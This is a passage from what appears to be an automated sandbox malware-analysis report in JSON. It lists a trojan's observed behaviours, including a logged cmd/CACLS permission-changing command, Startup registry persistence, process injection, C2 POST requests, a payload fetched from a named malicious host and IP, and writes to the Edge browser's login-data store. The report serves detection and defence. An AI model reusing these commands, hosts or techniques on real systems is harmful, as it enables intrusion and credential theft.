(Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$39","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/k echo Y|CACLS \"oneetx.exe\" /P \"idMumCb:N\"&&CACLS \"oneetx.exe\" /P \"idMumCb:R\" /E&&echo Y|CACLS \"..\\\\207aa4515d\" /P \"idMumCb:N\"&&CACLS \"..\\\\207aa4515d\" /P \"idMumCb:R\" /E&&Exit\" on 2023-9-1.17:07:18.882\n \"%WINDIR%\\\\system32\\\\cmd.exe /S /D /c\" echo Y\"\" on 2023-9-1.17:18:49.832\n \"%WINDIR%\\\\system32\\\\cmd.exe /S /D /c\" echo Y\"\" on 2023-9-1.17:55:18.452","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"oldplayer.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$3a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$3b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"82ecd.Trojan.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"oldplayer.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\".exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\oldplayer.exe\"\n \".exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ss41.exe\"\n \"oldplayer.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\207aa4515d\\oneetx.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\".exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"oldplayer.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"ss41.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"oneetx.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3c","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Modifies user shell folders registry key","description":"\"oneetx.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USER SHELL FOLDERS\"; Key: \"STARTUP\"; Value: \"%TEMP%\\207aa4515d\\\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":1,"id":"registry-144","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\".exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\oldplayer.exe\" (UID: 6580)\n \".exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ss41.exe\" (UID: 6580)\n \"oldplayer.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\oldplayer.exe\" (UID: 6156)\n \"oldplayer.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\207aa4515d\\oneetx.exe\" (UID: 6156)\n \"ss41.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ss41.exe\" (UID: 6112)\n \"oneetx.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\schtasks.exe\" (UID: 932)\n \"oneetx.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\cmd.exe\" (UID: 932)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\cacls.exe\" (UID: 2788)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\cmd.exe\" (UID: 2788)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"ss41.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006112)\n \"oneetx.exe\" called \"NtQueueApcThread\" (UID: 00000000-00000932)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"35145574-3570218355-1207367261-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00000932.00000000.69539.04B60000.00000004.mdmp, 00000000-00000932.00000001.71457.04B60000.00000004.mdmp, 00000000-00000932.00000002.73376.04B60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Possibly tries to evade analysis by sleeping many times\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Makes a code branch decision directly after an API that is environment aware","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\".exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \".exe\" trying to touch file \"C:\\82ecd.Trojan.exe\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\msvcrt.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ucrtbase.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\cfgmgr32.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\bcryptprimitives.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\cryptbase.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\sechost.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\oldplayer.exe\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\ss41.exe\"\n \"oldplayer.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\207aa4515d\\oneetx.exe\"\n \"ss41.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\edge\\user data\\default\\network\\d9e0d364197915c50023ab0820646da3\"\n \"ss41.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\edge\\user data\\default\\login data111\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"oneetx.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /8bmeVwqx/index.php\" - (UID: 00000000-00000932)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"oneetx.exe\" called \"InternetReadFile\" with parameter 1023 (UID: 00000000-00000932)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$43","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"ss41.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"29897f0\"\n \"lpReserved\": \"0\"}\n \"ss41.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"4cff380\"\n \"lpReserved\": \"0\"}\n \"ss41.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"4d02250\"\n \"lpReserved\": \"0\"}\n \"ss41.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"29fc640\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"ss41.exe\" called \"InternetOpenA with parameter HTTPREAD\" (UID: 00000000-00006112)\n \"oneetx.exe\" called \"InternetOpenA\" (UID: 00000000-00000932)\n \"oneetx.exe\" called \"InternetOpenW\" (UID: 00000000-00000932)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /8bmeVwqx/index.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"82680707174,2984,3204,,InternetReadFile,Wininet.dll,\"00:18:36.453\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00000932.00000001.71457.0315E000.00000004.mdmp\")\n Found reference to API \"122074977390,2984,3204,,InternetReadFile,Wininet.dll,\"00:18:52.859\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00000932.00000002.73376.0315E000.00000004.mdmp\")\n Found reference to API \"154459254094,2984,3204,,InternetReadFile,Wininet.dll,\"00:19:06.359\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00000932.00000002.73376.0316C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$46","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$47","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$48","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /sts/imagd.jpg HTTP/1.1User-Agent: HTTPREAD\n Host: z.nnnaajjjgc.com\n Cache-Control: no-cache","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"$49","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://z.nnnaajjjgc.com/sts/imagd.jpg","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"156.236.72.121\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00006112\"\n YARA signature for AES encryption matched on file \"imagd_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE922AF275EBC6B00F81686D075E58]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.0315E000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE7F48C4B6FFF18E264D03362653D4]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000932.00000000.69539.03130000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLE922AF275EBC6B00F81686D075E58]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000932.00000000.69539.03130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"ss41.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"ss41.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"4944\"}\n \"ss41.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00006112)\n \"ss41.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"240\"}\n \"ss41.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"8100\"}\n \"ss41.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"2352\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"oldplayer.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"oneetx.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"oneetx.exe\" called \"GetUserNameA\" (UID: 00000000-00000932)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 